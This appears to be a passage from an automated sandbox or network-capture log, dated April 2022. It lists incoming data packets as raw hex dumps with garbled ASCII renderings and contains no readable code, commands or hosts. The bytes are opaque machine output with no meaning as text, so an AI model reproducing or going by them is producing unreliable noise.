1f 16 bf 6b e6 7a 14 3f e0 d4 a2 6b 29 a5 57 bf 7f 7a ab 27 bb d8 01 40 14 dc d0 e5 92 79 58 26 e5 a6 e8 40 ae 49 49 ea 46 d4 2b e1 a9 29 45 a2 Data Ascii: ]7`S`\Jc9s7gyysi]8HQnAovkljp\&QI0~F:7r/-tm<)'4z;h)9}I21`WG5S+&99x}DyI&~34ns~B?Dkz?k)Wz'@yX&@IIF+)E
2022-04-20 13:31:40 UTC	172	IN	Data Raw: de d3 85 ee 43 1b af f6 31 42 ed 1c 37 bd 5a 7f ed 12 45 f5 75 e9 2d 83 aa 74 b5 97 0b 33 df 20 5e be c2 32 c7 a0 99 73 da 36 ce 5c 8d 78 d8 ef a2 01 c2 b3 d1 c4 8b 2b cb eb 8e dd cf 6d df c4 0e 4d 01 94 c4 89 11 20 a0 e3 9f 13 55 a6 f0 d0 07 3b cb b2 c6 c6 ba 25 51 77 e0 14 de 95 32 52 6a a1 63 a3 db 8a ef f4 49 de d8 3e 45 6c e2 07 a0 44 0a a8 2d dd 48 7e 0f 20 b6 a1 77 3d c4 a6 e0 de 24 27 b2 4d 3f c6 8a d7 4f 69 de 8a 38 5a 15 39 60 21 4f d8 13 25 1e 2b 5b 23 fd 22 41 63 84 80 8f 4c 26 35 64 41 a9 0b 9b e5 f5 71 82 6b 3d 52 bb 03 84 96 75 21 e1 85 3f 5f ad f5 eb 28 97 38 ca 82 56 6b 53 82 7b c5 fb 31 2b ba a9 24 7c 2c 4a 61 2c 22 d3 de b8 13 01 27 d8 87 df 6d 5d 45 59 06 cb 54 5d 19 21 65 3c d3 fc 1f 22 b7 7a 2f 16 44 42 44 3f 07 ab 74 c9 52 81 22 5a Data Ascii: C1B7ZEu-t3 ^2s6\x+mM U;%Qw2RjcI>ElD-H~ w=$'M?Oi8Z9`!O%+[#"AcL&5dAqk=Ru!?_(8VkS{1+$\|,Ja,"'m]EYT]!e<"z/DBD?tR"Z
2022-04-20 13:31:40 UTC	173	IN	Data Raw: 1e 7d 81 a1 e5 dc 02 40 10 66 59 ca 80 5f e2 66 ca b7 ce 40 c5 6f 49 ea 79 c0 2a 18 a8 3e 6b 71 bc 3b df bf e0 6b 42 88 75 da ba 03 45 50 30 88 aa 01 08 6d 6f 1c 40 74 14 7f a9 eb f2 ce bf 14 64 8d c8 db 19 a7 b5 13 74 e0 de 8b 88 a0 33 67 c4 3d 3e e9 58 3c ae 37 91 89 59 b8 4e 14 ed d8 ea 43 91 4a 0c 61 36 8e 47 b0 35 ff d6 26 ca 67 9e ee 0f 72 9d de 3d 85 7e 09 2e d9 bf 85 f1 dd d6 f1 04 15 76 ee 6f 32 a2 20 d9 41 cf 39 bc 28 c0 1b 4c 48 25 a5 7b 96 89 f9 e7 7a 42 02 f2 16 77 33 82 d9 2f eb 5c 77 d1 98 32 70 a2 8a 90 c9 6c cb 30 27 30 a3 ec 8f 11 78 be 68 9f b0 f1 da 9f df 28 c3 03 80 f1 4c 73 c4 41 ac ed 7c 2a 85 d3 02 d3 8a 23 ff 3d ea 98 d2 2f 06 a0 72 59 5d e8 e1 0b b1 c4 b2 ea 2e fb 5a 57 8f 8e 94 72 22 c8 1c b4 07 f2 b1 e7 93 2a ad ac 53 21 59 5f Data Ascii: }@fY_f@oIy>kq;kBuEP0mo@tdt3g=>X<7YNCJa6G5&gr=~.vo2 A9(LH%{zBw3/\w2pl0'0xh(LsA\|#=/rY].ZWr"*S!Y_
2022-04-20 13:31:40 UTC	174	IN	Data Raw: 30 b3 ad 38 29 5b b1 25 39 0c 33 a5 22 80 7c 5b ff 71 d4 4a 26 78 b0 ab e3 e8 14 14 c4 4c 97 71 e1 0b 43 ca 84 4f 17 4c 9a b9 fc 19 1c af 31 87 7b 0b 0a e8 ee a1 6b 2f 15 f4 ec 0c 5d 8b e0 99 bd 03 60 97 6c f5 c8 9f 52 50 ba e6 a6 ee 4a ef 13 28 eb 59 da 23 dc aa 29 43 12 98 16 cb b3 42 d1 21 89 75 fe 0a 84 47 50 2f 19 a7 d5 18 4b 49 9b c4 0a 75 5e b6 c6 d2 0b aa 3c 9d 16 ed f0 21 07 eb b7 77 e0 da 8b bd 88 33 67 41 08 3b 02 7f 1c 06 1f 13 f7 18 99 67 10 cd 01 e7 6b 68 d1 29 4a 0d 2e 19 17 36 ff d2 26 ce 4f 9e ee 88 7f 49 cd 1b a3 fb 89 50 b8 9e aa dc fd 11 ec 0a 3d 15 ca 42 25 ae 86 60 22 ce 39 98 ba 5a 19 4c 52 97 79 57 84 a9 f3 d1 06 23 03 d2 2f 7e fb 80 c6 33 59 80 5b c3 b8 38 3e de eb 91 e9 de c1 81 25 2f e3 5e 53 3d 6a 9e 62 ac cc 90 db bf 82 21 0a Data Ascii: 08)[%93"\|[qJ&xLqCOL1{k/]`lRPJ(Y#)CB!uGP/KIu^<!w3gA;gkh)J.6&OIP=B%`"9ZLRyW#/~3Y[8>%/^S=jb!
2022-04-20 13:31:40 UTC	175	IN	Data Raw: be 35 64 43 a3 07 e7 84 f4 eb a3 66 c5 76 9b 89 1c b3 58 13 e0 82 d6 5d b7 dd 32 d1 bc 3e e0 1f 23 22 ab 83 7f e3 5a b1 55 db 32 01 55 1d 86 43 a7 20 49 fb b5 29 00 07 32 9b f7 94 7c 46 73 2c 4d 34 14 e1 20 61 1a 75 78 61 43 2c 5f 06 24 89 60 c8 3d 9d 8e 79 e8 53 a1 c9 47 4b bd 9f 11 48 6b 7f 46 1b c2 5b 9f 2d af b5 04 a6 00 e6 f8 1c 28 07 5a 08 fc b2 16 d9 85 c0 03 29 ab 5d 10 e2 19 d0 c8 c8 60 69 60 cb 5c ad 03 4a 63 f2 87 f8 03 83 09 2d d0 39 ae a6 73 b5 eb 1b 37 d5 79 ed 79 c9 7f 61 84 ed 0b 5d 38 48 9d 8d e8 d9 51 6e da 41 f9 6f 2a 76 90 6b 6c 08 e2 fe 86 a2 e4 70 5c 26 51 a9 c2 49 c6 91 3e d6 79 a4 78 b7 6d 44 8b 26 3b ee fc 17 72 35 1e 03 3a ab 4e a2 29 e2 6d 76 6d 1c 53 65 9d f2 2c cc 72 f7 ea de d6 34 9b 51 05 82 1f b6 4e a1 59 6a b3 ac 8e 8e 76 Data Ascii: 5dCfvX]2>#"ZU2UC I)2\|Fs,M4 auxaC,_$`=ySGKHkF[-(Z)]`i`\Jc-9s7yya]8HQnAo*vklp\&QI>yxmD&;r5:N)mvmSe,r4QNYjv
2022-04-20 13:31:40 UTC	177	IN	Data Raw: dc 22 44 8e 7c 7f f4 1a 32 1f 2b 6f ce 41 2a df c8 0b df 14 9f 83 5c b1 d1 59 5a 61 4c 03 84 5f d4 4d 65 e7 09 53 82 29 49 70 dc 72 0a da 0f 62 58 61 a3 20 c9 27 cf 9f 34 e5 4c f8 51 64 a3 44 59 40 0a 9b 54 de 19 70 73 32 f0 0e 07 87 0d b0 43 20 f9 70 d5 5c d5 96 bf fc 98 bd 29 99 8f 25 0e 59 38 48 dc 19 c3 60 56 24 46 42 9a 48 7d fe 24 9b 9e 76 fe e0 c0 c1 44 c1 5c 87 d1 d2 e4 14 b5 cc 7c 0f 17 6e 0f 81 54 cf a3 78 34 ce 42 bf a2 f2 c1 4e e1 6c 0a 2d bd 0b 6f a9 61 6a ce a9 5c 0e ba 76 a3 72 09 68 cb b2 d9 aa e7 a6 c4 d7 d4 41 2b f9 9d dd b6 f8 bf bf 17 4b 4d dc 2b f3 68 0c 14 bc c9 61 0e e0 44 f5 32 0d 95 2c 94 f8 8c 0a 75 3d 78 21 e2 ad 3d a6 20 fb 5b 66 06 3f ec 7b d6 42 8d d8 fd eb 47 bf f4 a6 ea 5e cb 5e f9 a6 df ec 57 d4 f9 eb 1c 54 a5 34 93 c3 55 Data Ascii: "D\|2+oA*\YZaL_MeS)IprbXa '4LQdDY@Tps2C p\)%Y8H`V$FBH}$vD\\|nTx4BNl-oaj\vrhA+KM+haD2,u=x!= [f?{BG^^WT4U
2022-04-20 13:31:40 UTC	178	IN	Data Raw: 96 cc d1 cb 89 ee a8 78 11 ef 3b 57 3b 25 6c 75 39 67 b8 97 14 c1 3f 02 0a c4 e7 b0 10 34 02 d4 c3 5b 1a d4 72 19 43 1e 26 14 01 4b 31 28 45 c9 43 9f 3b 85 2d a1 60 bd a7 35 d5 12 7c d9 a6 a4 05 0f 98 b3 c9 12 76 45 4c 74 63 1d bc 2a 0c be 38 51 1c 6a 2e 78 d4 c3 f2 3e 48 55 03 dc 0f 9e 35 36 91 dc 04 3c 5a 45 81 d2 38 6d 4d 23 81 15 7d 7b ef 67 f2 51 05 a7 e6 ef 3a 47 e1 58 e6 9b 26 6d 23 2a d6 96 d0 17 63 5b b2 f3 bd 2c 3a 24 08 cb 5b d9 0d 0d fc 63 0a c7 f2 77 95 d7 20 45 14 96 70 cf 89 8b 74 37 40 64 ee 50 66 39 75 88 7a 4b 7e 56 be b5 cd f2 d1 2a 8a ea f8 e2 5a 02 e9 5d 5b cd f6 5e c0 47 c5 ad 95 eb f6 11 82 d1 cc cc 45 5e e0 40 ae 92 68 11 28 e9 f0 dc cc a3 cc cc fa 10 f1 13 36 e2 88 8e 63 47 44 f0 5a 22 e9 45 39 e3 cf 26 76 17 1d 66 20 1c e4 c1 7d Data Ascii: x;W;%lu9g?4[rC&K1(EC;-`5\|vELtc8Qj.x>HU56<ZE8mM#}{gQ:GX&m#c[,:$[cw Ept7@dPf9uzK~V*Z][^GE^@h(6cGDZ"E9&vf }
2022-04-20 13:31:40 UTC	179	IN	Data Raw: 3a f7 3a 87 7c f2 89 eb e9 70 bf bd c1 a4 30 a0 61 c8 d0 af bd 29 f6 d4 99 76 78 97 52 fe c9 5e a9 f9 bd 35 32 ff 11 06 42 cc cf 83 48 2a 6e 54 e2 1f 1e 50 35 5e 79 c3 99 02 7d 92 bc 53 71 4d 59 35 08 f4 e9 ff 9e 80 94 c5 38 5b 00 c5 c7 ae bd 5e 7a a5 dd 4d 3d c4 af 31 0c c0 72 bd 55 71 5f 6c d3 26 af 2c 79 76 99 10 26 31 47 74 79 bb 28 cf c5 bd 3b 22 2b fe 91 fd 96 76 41 48 32 69 07 2d 15 01 68 01 5e a0 0b 2c 3f 6a 05 29 5c 47 e4 1d 3c 94 4c cb 53 92 0b 66 60 95 bf 38 5a 50 53 73 0b e4 9a a8 17 8b ab b7 fb 66 c6 33 dd c4 23 84 c3 1f f0 e5 27 42 33 c6 10 68 99 de 1c da 2a 21 1e ad a6 95 f6 be 68 d2 a5 21 6a 18 13 e5 6a c6 3d 3a fb 59 cb a6 6c 08 e8 f6 dc 85 3a 88 1e cf 91 77 1e f0 87 38 b6 78 5e 39 a1 b1 97 47 da 72 d0 58 fc 16 a8 27 fc 19 2d 01 09 94 c6 Data Ascii: ::\|p0a)vxR^52BHnTP5^y}SqMY58[^zM=1rUq_l&,yv&1Gty(;"+vAH2i-h^,?j)\G<LSf`8ZPSsf3#'B3h!h!jj=:Yl:w8x^9GrX'-
2022-04-20 13:31:40 UTC	180	IN	Data Raw: c7 b4 ab 98 6c ac 56 65 a8 c8 df 30 6f 12 f7 05 6f ed 36 64 aa 65 a1 e5 d4 97 80 9f e3 61 6c c0 a0 0a 7b de ec f0 72 83 6d da 62 3f 41 0c 5b cb d0 14 d2 cf 83 2f 10 22 2b 9e 56 3d 49 f3 a0 41 96 cc 03 b6 f3 5e b8 b7 97 fd f6 30 97 e7 57 62 c0 01 cb 4d 5f b0 51 29 ac ec d0 a1 a9 11 c1 15 9b d9 6c 88 d4 4c b0 cd e6 76 d9 dc 1e d3 bc cc ce 39 f2 01 f1 2d 2d 92 4e d6 75 d6 8c 2d e5 d9 92 e5 04 db 53 9d a0 bb eb 44 89 85 57 94 31 d4 9c 4b b4 17 9c f5 a8 c9 be 82 83 17 52 00 9f 87 d0 a2 bb 06 de 50 da ce b9 8e a8 04 d0 f6 64 de 03 0d f5 71 7a 18 1b b6 3c ba 33 6c 33 37 c8 71 39 c4 96 89 e9 8d 62 83 42 34 ba 8a 03 96 20 73 40 48 84 79 d8 a8 ea 42 a8 c6 2d fd ae 40 31 c3 f3 70 b7 6d dc 81 e8 43 36 2c 6c 71 38 42 4b 1a d2 86 6f 15 59 5c 45 1b 29 b1 eb aa 59 d1 3a Data Ascii: lVe0oo6deal{rmb?A[/"+V=IA^0WbM_Q)lLv9--Nu-SDW1KRPdqz<3l37q9bB4 s@HyB-@1pmC6,lq8BKoY\E)Y:
2022-04-20 13:31:40 UTC	182	IN	Data Raw: 31 e7 59 13 c6 b8 46 30 92 36 db c1 83 04 6c 17 a0 0d ad 04 8a 23 d1 12 b5 72 9c b2 e0 e5 5d 2f 26 4d 0c d7 a7 2a b1 ee 54 41 0d cf 16 ee 81 4f b0 56 4b 9a e1 a4 0c 53 60 cd 7a f3 3c 8b 51 53 36 5b 6a 22 0b 46 9b ce 16 ea 9e fd e2 c7 db 9b ef 2b 09 de 22 85 b9 b2 7d 6e 3f 93 93 a5 72 70 a5 9f 6d cd 84 c2 95 af ba 8b cc b9 b2 db 69 fe 07 bf 16 b5 26 ce 0e 3d f8 4e 89 ed 4e ef c2 7e 76 a9 cf be 91 e7 c6 c6 d7 e2 92 2b ab ac 21 83 c0 84 d4 ad f9 53 0f 78 c5 b3 f0 cc 17 cb 7e db d0 72 3f ed b9 d2 d4 7b 3b b4 89 ef 88 49 cc a0 a1 67 80 7b ce 8b 29 07 62 cd d9 68 df 1f 32 84 de 89 89 4a 40 01 c9 ea c7 21 0f 63 f1 f6 a5 f2 50 e3 14 cb dc 63 f7 8b 4e 0a f4 00 54 ea ef db 6d fa 23 67 56 a8 a5 c0 eb 71 d3 e5 ca d1 59 d8 98 ff d7 03 71 44 72 0f 9e 6b 0c 79 6a 39 5a Data Ascii: 1YF06l#r]/&M*TAOVKS`z<QS6[j"F+"}n?rpmi&=NN~v+!Sx~r?{;Ig{)bh2J@!cPcNTm#gVqYqDrkyj9Z
2022-04-20 13:31:40 UTC	183	IN	Data Raw: 1a 3b 81 3d a7 46 2d 4b 8d ce d1 c3 b4 9a fb f9 ce 67 47 81 fc b2 9b 97 d9 cf 71 7f 7c c4 31 ee 74 59 4b bb cb 07 5e 8f 72 d7 07 39 a6 6a f1 c9 ac 2f 5c 49 0f 1b c4 99 15 fe 19 d3 79 b8 c0 bf 2b a8 65 eb 1a 2b 13 18 b4 35 48 56 69 b7 65 b3 6c 59 2b 11 be 6c 49 58 b3 89 78 d1 62 44 cc 20 12 36 83 ad 37 04 7b 26 df a1 ff 68 bb ea 82 3f ce 8a d0 e1 88 dd 2d 0f 98 aa 4e 3b dd e1 9d e8 89 90 52 54 5b 1c 0c 00 5e a9 d0 8b 7d 6e 7c 26 99 e6 32 52 df b7 73 35 ea c4 7b d2 15 e0 da e9 a6 4b 9b 10 89 ad fd 7a f4 c4 97 bc e0 d0 30 a5 40 67 0f bd b0 ae 53 09 7c 0b d0 dc fd ae dc b1 a9 88 e4 ca 9b fa 40 b9 8f 90 ad e6 e7 8b 88 7d 8f a4 33 fd 5e dc 2e 9f ee ca 12 02 b4 c5 c8 c7 fa 86 4e 13 76 2f ac 9c 82 aa 2f a8 b6 55 5e a5 0d 5c b8 7f 7b ba dc 81 69 9e e4 17 48 82 7e Data Ascii: ;=F-KgGq\|1tYK^r9j/\Iy+e+5HVielY+lIXxbD 67{&h?-N;RT[^}n\|&2Rs5{Kz0@gS\|@}3^.Nv//U^\{iH~
2022-04-20 13:31:40 UTC	184	IN	Data Raw: 5b e1 05 b0 ee c8 31 33 7d 55 ed 51 6f 4a 04 9a 44 74 15 56 b8 d4 cd 84 e7 22 97 84 91 f7 29 2a c1 7b 65 ee c3 e7 69 fd 12 70 5a 1f 11 de 47 30 77 47 90 a4 59 bf 1a 68 83 cf c3 42 48 2f 04 52 24 24 12 cb 3d fd e0 26 44 57 a8 ce a1 a1 52 14 c1 7c 17 d3 e0 13 60 5d 2a 24 37 1e ff db 67 3e a2 ef 44 46 6d e1 22 ef 7d ce e9 c4 97 ab 7c 47 8c 5e 75 1c 9e aa 96 c6 04 fe 86 f1 53 0c f4 38 5a 9c 3e 5e c3 10 3f 17 69 2c 8b 51 60 b7 af 70 cc 21 a1 f0 10 d8 f0 69 40 53 2a 16 d9 02 a8 06 66 e9 02 56 ce 3c 09 31 f0 61 40 84 1f 5b 1b 5b 9b 4a b4 56 a0 a3 36 af 64 f8 42 40 d3 5b 62 3a 70 80 44 c3 12 32 39 27 fb 2e 27 fd 30 6a b8 cd 09 da 77 dd 68 31 5d 1d 3d 0b 8a 87 df 2f 11 01 2f 04 80 5e de 6f 14 7a 1d 09 9c 5f 78 ca 69 a7 b7 16 9f 83 b0 b4 27 b1 3f a5 dd 83 ac 1a a5 Data Ascii: [13}UQoJDtV"){eipZG0wGYhBH/R$$=&DWR\|`]$7g>DFm"}\|G^uS8Z>^?i,Q`p!i@S*fV<1a@[[JV6dB@[b:pD29'.'0jwh1]=//^oz_xi'?
2022-04-20 13:31:40 UTC	185	IN	Data Raw: 6b 4b 37 ec ab 81 1e 9a a3 a5 f8 5e cf d8 39 3d d4 7a 20 dd 0e 3c ed 83 fc 02 ec 91 67 33 f3 09 e1 cf ea 49 55 74 06 7d a8 1d 50 c5 bc d5 c3 3f 8a 29 a4 a8 5d 42 f8 86 5c 35 fb d7 c5 b8 3a b1 14 c1 9e 4f 3a cd a9 1c ac 7f 59 1f 8f f1 e0 37 a6 22 8a 04 b4 7b 8c 2d d0 2e 12 49 53 d8 83 b3 c0 85 1d 07 ec 1a 7d e2 d3 95 67 a4 6f 05 c4 1b df c1 21 25 0c f3 b2 aa 2c a7 00 c1 1d 9e 8f e3 c4 ff b4 9f c9 3b 59 be 72 12 7b 77 48 2e 03 7c ad 97 06 cf 4b 0c 50 a7 8a bb 00 00 2a ff f9 65 2c ca 42 1a 4d 03 11 3c 3a 55 22 2b 4a d2 46 92 03 b9 31 a9 7a 41 40 87 70 ef 96 08 0d 64 d1 ee 65 6d 21 02 75 2d 42 55 7d 30 bb 20 02 8d 0b 55 09 7f 3c 7b eb 8b a1 09 75 67 32 ef 2f 8e 29 39 83 ed 24 69 28 17 c0 8b 6b 41 58 34 a8 0d 6a 68 bc 49 e4 30 6a d6 ea c8 04 66 b3 20 84 bb 26 Data Ascii: kK7^9=z <g3IUt}P?)]B\5:O:Y7"{-.IS}go!%,;Yr{wH.\|KP*e,BM<:U"+JF1zA@pdem!u-BU}0 U<{ug2/)9$i(kAX4jhI0jf &
2022-04-20 13:31:40 UTC	187	IN	Data Raw: 3f 77 55 ef 3a 94 0d 2a 44 6e 72 ef 3c 3b 87 11 fa e2 17 95 89 bc c4 69 e1 63 ea be da 17 b5 67 2c d7 ac a3 d6 e7 76 be 68 17 c5 98 3c a9 0a 16 52 79 a2 51 c4 ac 90 1b f8 8f 42 de e1 2c 5f d8 b6 0d ce 17 df ed 98 2c 32 42 0a 01 45 23 06 53 ca f0 0c 53 75 41 02 70 00 a1 be d4 49 cf 12 8f ae bc 6e 0c 8b a4 52 ff 06 b4 b0 4b d9 29 69 3b b3 c5 f6 84 84 59 05 a1 55 87 45 f7 22 7c 0e c1 7c e8 64 e0 a2 f6 ee 77 8f b2 f1 bc 02 b1 68 db c2 a2 bd 12 f6 cd c5 4e 2d c2 18 f7 9a f4 07 44 3a c7 9b 00 b1 ac ea 7e 2e 3d ef 2b 68 20 90 61 69 70 46 37 40 ae a4 35 0e fb ed 5c 69 1b 6f 22 10 e4 e1 fb 8e 9e 8f fb 35 4f 1e f0 f8 f9 ad 3d 4f 9c 80 08 6f 95 ff 30 0b b5 1c c2 22 7a 58 7b a9 52 ce 59 18 0e 91 1a 2a 7c 16 45 6a 92 0b fa f5 b5 13 0f 0c fd b2 de bf 4b 50 48 3d 62 07 Data Ascii: ?wU:Dnr<;icg,vh<RyQB,_,2BE#SSuApInRK)i;YUE"\|\|dwhN-D:~.=+h aipF7@5\io"5O=Oo0"zX{RY\|EjKPH=b
2022-04-20 13:31:40 UTC	188	IN	Data Raw: 76 9e a1 5a 19 1e 65 90 de 15 36 8f 6b ce 58 01 0e 4b 08 8b 49 29 8f d0 e0 dd 69 b9 23 46 9e 57 65 12 46 10 dd 89 7d 7e 43 cc b2 9b 78 6f 6d 2d fe 78 da 11 18 73 0c 31 a9 bb 3b f7 b8 ee 15 25 89 cc f3 bb aa 41 50 7f 0f ae 28 1f 4b e8 ba 63 70 06 5f 75 c9 80 ef ae 3c cd af e9 d9 35 21 0c 5f f9 e0 dc ab 7d b3 40 7f 58 18 c4 f7 0d 04 06 35 97 91 58 9c 61 14 9f ee 96 73 7a 4b 1b 72 6f 10 3f d1 cb ed 8c 2c 63 65 0f e9 56 45 b6 cc 7d 8c 12 19 28 d9 f7 aa 28 db 09 ee d5 1d 8f ef 69 34 7e ac d4 38 c8 39 58 16 2e 33 4a 48 b3 98 77 80 bd d9 9a 51 8f 25 c0 2b de 3d 4f e1 35 c3 b7 68 f0 9a 0a f6 0d c2 5c ee 7a eb ca 0b fd 84 64 aa aa 60 55 6f 3c b2 09 f9 72 a1 13 c3 e9 b8 fd 42 98 c5 39 b6 d6 dc 46 e4 3f 17 1a 8d 83 fd bb c2 dd e1 10 14 6b 77 34 49 fa e1 aa cd 32 a4 Data Ascii: vZe6kXKI)i#FWeF}~Cxom-xs1;%AP(Kcp_u<5!_}@X5XaszKro?,ceVE}((i4~89X.3JHwQ%+=O5h\zd`Uo<rB9F?kw4I2
2022-04-20 13:31:40 UTC	189	IN	Data Raw: 4e 84 7f eb 6e 34 37 bc 33 e8 41 c2 41 47 a7 36 d8 ad 80 3e 26 6c c8 d6 d5 92 5c 8e 4f 63 6f 2c 3c 56 2e 68 3e 5f fe 1f 22 58 5e 02 04 62 62 c9 3d 06 ab 54 fa 75 81 ee 44 87 bc ba 1a 65 6b 7e 59 31 ea a2 9e bc af 53 83 cd 61 e6 f8 1a 08 eb 59 18 fc de 32 38 96 fb 23 c4 a9 5e 10 c7 2d fc c8 04 7e 7f 48 2f 5d a8 05 68 e1 89 e7 f9 03 bf 29 c0 d2 24 ae 39 56 97 fa 3d 16 38 7b 29 7f 25 35 50 84 eb 16 64 c1 49 9c 8b c2 7e 2d c3 da 5c fd 49 c4 66 90 69 f6 3d cf 23 a1 82 0a 6f 5c 20 71 e8 ee 4b c6 8f 16 be 7e a4 7e 80 ef 12 ea 31 3b e8 dc f8 70 c3 1f 99 1f 9b 5f ac 09 10 6f 74 6d 3c 09 8d 9b f2 34 f9 8b dc ea f5 fc b3 e5 30 04 a7 19 96 be be 59 40 29 a6 a3 9d 50 5b cc c3 57 e8 bf fc b5 bc b8 97 e8 9e 99 f2 6e a3 36 42 2f 98 1e ec 1e 3b db 75 b3 dc 47 dc 1b b3 ad Data Ascii: Nn473AAG6>&l\Oco,<V.h>_"X^bb=TuDek~Y1SaY28#^-~H/]h)$9V=8{)%5PdI~-\Ifi=#o\ qK~~1;p_otm<40Y@)P[Wn6B/;uG
2022-04-20 13:31:40 UTC	190	IN	Data Raw: f3 f9 a6 2a 7c 4c b9 62 21 62 fa f9 02 e8 2b 46 3a d5 db c6 61 82 aa 20 30 ae 34 92 45 89 80 99 e5 45 e9 6b 47 31 74 62 89 70 96 77 01 c6 a2 f3 5e b7 dd 0f 29 6e 3e e2 01 2a 0a 52 82 ee e3 70 33 36 ba c8 01 5d 3c 6e 41 a7 20 25 df 98 38 3b 27 23 99 e4 95 5e 45 5f 2c 89 2c 3c 18 3c 61 e7 5f e9 1e 20 2c 5f 02 c8 63 62 c8 10 05 50 54 e3 74 83 22 45 4b 98 bd 1a 64 76 7f 5b 30 f3 a3 9c 2d a9 9f c0 df 61 e7 e5 18 0e ea 7b 09 fe 28 33 f4 cb e4 23 c5 b4 5d 1e c3 05 fd ca c8 7f 7f 31 3b 5d ad 18 60 ee 8d c8 f8 01 86 29 c0 54 3b ae 3c 7b 9a ef 3c 2c 39 79 ec 79 e9 7d 5f 84 ed 3b 77 dc 48 a6 8a c2 5a 2f 0f 4a 53 31 4e d9 74 be 6a cd 2c ca ee a0 82 c6 73 5c 26 6c fb c0 48 fd 8e 14 2f 78 a4 8d 9d ef 3a f7 27 09 eb 98 f9 75 35 0e 99 e9 87 5f 84 14 0d 5a 77 28 3d 0c 48 Data Ascii: \|Lb!b+F:a 04EEkG1tbpw^)n>Rp36]<nA %8;'#^E_,,<<a_ ,_cbPTt"EKdv[0-a{(3#]1;]`)T;<{<,9yy}_;wHZ/JS1Ntj,s\&lH/x:'u5_Zw(=H
2022-04-20 13:31:40 UTC	191	IN	Data Raw: 21 d8 3b ee 88 bc 18 36 41 e9 00 c7 82 d5 d0 01 f8 b4 03 a8 22 48 33 4e c7 3b cf b3 76 1d 9f 17 f4 ca eb 00 cf 67 e9 97 25 c6 a2 79 a8 2a 6a 5c 4e 21 b0 e7 da 9a 84 0e c1 15 9f ae 63 85 c7 57 aa 9b f8 5b e6 c4 02 1b ab 88 ff 2b ea 93 f1 1b 16 90 52 2f 59 92 e8 2d d7 21 b3 f3 33 f0 62 3f 88 97 90 79 a4 7a 7c cf 0e d5 91 c5 97 50 a4 15 76 fa 4a 03 56 ff 8d 46 7e 3c 0c 44 5f e8 16 fc 26 38 66 93 5b d6 1f 2e b4 15 c0 d7 24 fa 20 02 d2 49 d7 0d 51 14 e8 c6 2e d4 64 e1 63 77 0e 31 bb 52 a9 d2 10 13 6a a9 c0 fd 92 fc f2 0e 17 5c 42 88 a0 ac 9f 6d 20 91 20 c7 50 de 34 be fc 2e 78 f1 ff d4 61 a6 b4 f8 cb c5 83 6e e8 a7 cb b3 6b d8 ac 26 5d 53 34 c5 89 38 30 6c 46 fb 13 5a 96 21 52 b7 39 c2 5a b6 46 2b 28 77 4f 4f 95 04 91 31 c0 42 40 bb b0 f6 ba 31 76 4d dd 6b 0b Data Ascii: !;6A"H3N;vg%y*j\N!cW[+R/Y-!3b?yz\|PvJVF~<D_&8f[.$ IQ.dcw1Rj\Bm P4.xank&]S480lFZ!R9ZF+(wOO1B@1vMk
2022-04-20 13:31:40 UTC	193	IN	Data Raw: ca 8e 16 e3 79 1b 70 9c ef f6 eb 48 2b eb dc 34 71 53 36 98 1f 17 59 8c 05 0c 6f ba 6c 50 21 48 9d 3e 35 f8 89 f0 ea 14 fd ba e9 36 04 13 1d 9a b2 a5 59 a6 28 85 af 99 50 97 cd 9d 52 ee bf 2d b4 9a b4 a4 e8 52 99 ed 6c e7 31 1f 28 8a 1c c6 1e f3 da 78 b1 da 47 81 1c bf a1 21 24 b7 4e 2b 3b 1b 19 ef 5d ee 7f 4d fb c0 10 47 24 6e 2a 78 cf f5 30 22 06 8a 91 7e c3 68 69 ef 86 5f 1b 72 63 fa fb 10 34 3f 4f ba 78 04 0c de 2d da 62 20 8d c7 c1 98 79 a4 21 8d bd 4a 52 1b 44 e3 c8 30 5d 77 41 f1 a6 79 72 66 6f 5f ea 83 dc 0c 1a ae 29 8f 89 b2 39 df 95 ae 14 78 a0 64 de 56 af 4f 5c 23 13 8c 2c dc 60 5c b1 40 74 1c 53 a5 c2 f3 ce b4 3e cd ac c8 dd 33 21 cd 6a 81 c0 c9 ab 27 a2 6b 47 5e 18 13 fb 78 04 f4 15 82 89 78 98 07 34 ed c7 e5 6b 79 53 f6 47 9a 08 38 d1 b8 df Data Ascii: ypH+4qS6YolP!H>56Y(PR-Rl1(xG!$N+;]MG$n*x0"~hi_rc4?Ox-b y!JRD0]wAyrfo_)9xdVO\#,`\@tS>3!j'kG^xx4kySG8
2022-04-20 13:31:40 UTC	194	IN	Data Raw: 11 86 77 f2 07 2d e3 db e6 f1 b3 32 5e 87 7b 15 de b3 18 c6 1c 0c 63 9e d6 a2 67 19 2b de 42 3b 68 6b cc b6 2e 7b 03 a0 0d d2 0c 7e 0f 3e 9e 59 76 f1 c3 e9 6f a8 45 ea d6 49 1f 4f 88 d1 4f 3f fa b4 2a 74 35 fc 07 21 4f f8 1c 46 1c 10 56 28 d5 d3 40 63 82 aa 0d 31 47 32 7c b1 a9 ca 9b ed f5 eb a7 46 2c 77 9b cf 85 26 7f 92 cf aa 3f 5f b7 dd 12 2a 97 78 e3 a6 22 aa 5b 8a 7f e5 70 33 2b b9 33 47 52 88 66 e6 ae 28 d3 de 98 38 26 24 d8 9f ef 60 7c 0e 5d 24 4d 2a 3c 18 21 62 1c 19 fd af 28 be 56 0a 04 62 62 c8 3d 04 ab 12 f9 d3 8b 82 4c 43 bd bf 1a 64 6b 7c 59 77 e9 17 94 8a a0 97 82 d8 61 e7 f8 1b 08 ed 40 fc dc 63 31 fc 97 e6 23 c5 a9 5e 10 84 2f 4c c2 66 76 77 48 32 5d ad 05 63 e1 ca e5 5f 09 3c 20 c8 d2 39 ae 3c 56 9b fa 7b 14 8d 71 88 70 e1 34 3a e1 ed 16 Data Ascii: w-2^{cg+B;hk.{~>YvoEIOO?t5!OFV(@c1G2\|F,w&?_x"[p3+3GRf(8&$`\|]$M*<!b(Vbb=LCdk\|Ywa@c1#^/LfvwH2]c_< 9<V{qp4:
